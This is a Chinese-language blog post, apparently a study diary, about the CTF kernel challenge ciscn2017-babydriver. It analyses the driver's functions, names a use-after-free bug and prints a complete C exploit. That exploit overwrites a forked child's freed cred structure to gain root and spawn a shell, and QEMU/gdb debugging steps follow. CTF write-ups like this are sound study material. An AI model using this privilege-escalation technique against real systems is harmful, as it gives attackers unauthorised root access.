从今天开始就更新一些我目前的学习进度和遇到的一些困难。
内核pwn入门的基础知识需要挺多,要多从网络上找一些文章来补充自己。
下面介绍一道大概是入门kernel pwn必经的一道题。
一:ciscn2017-babydriver
将babydriver.ko文件拖入ida,开了semp,防止ret2user,有这几个函数
1.open函数
函数调用kmalloc函数申请大小为64的空间,并把指针存在bss段上
2.release函数
调用kfree释放掉内存空间
3.ioctl函数
好像是如果用户输入0x10001就会free掉open出的内存,再根据输入申请一块新的
4.write函数
首先检查device_buf是否存在,再检测长度是否合法,如果都满足,就从用户区拷贝内容到device_buf指向的空间
5.read函数
将device_buf指向的空间的内容拷贝到用户区的buffer中
思路:
看了下wp,说这是UAF漏洞
{% asset_img babydriver7.jpg This is an example image %}
babydev_struct是全局变量,存在bss段上。
先打开两个文件,通过ioctl修改内存大小为0xa8,也就是cred的大小,关闭第一个文件,但是第二个文件的指针依然存在。再fork一个新进程,新进程的cred正好在释放的位置,通过write进行提权。
exp是用c语言写的,也是挺神奇的hhh,希望以后能习惯
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | int main()
{
int fd1 = open ( "/dev/babydev" , 2 );
int fd2 = open ( "/dev/babydev" , 2 );
ioctl(fd1, 65537 , 0xa8 );
close(fd1);
int p = fork();
if (p < 0 ) printf( "fork error~~~" );
else if (p = = 0 )
{
char s[ 30 ] = { 0 };
write(fd2,s, 28 );
if (getuid() = = 0 ){
printf( "You are root~" );
system( "/bin/sh" );
}
}
else
wait(NULL);
return 0 ;
}
|
1 | 我们需要静态编译 gcc . / exp.c - o . / exp - static
|
调试
1.先在boot.sh中添加 -gdb tcp::1234
2.运行boot.sh
输入lsmod查看babydriver.ko地址
3.另起一个窗口进行gdb,然后输入target remote :1234
4.在gdb中加载符号文件
1 | 获取ko文件的基地址 cat / sys / module / babydriver / sections / .text
|
5.下断点并按c键运行程序,然后在qemu中运行exp,程序就会运行到断点处
终于能调试了麻了,调了两天!!!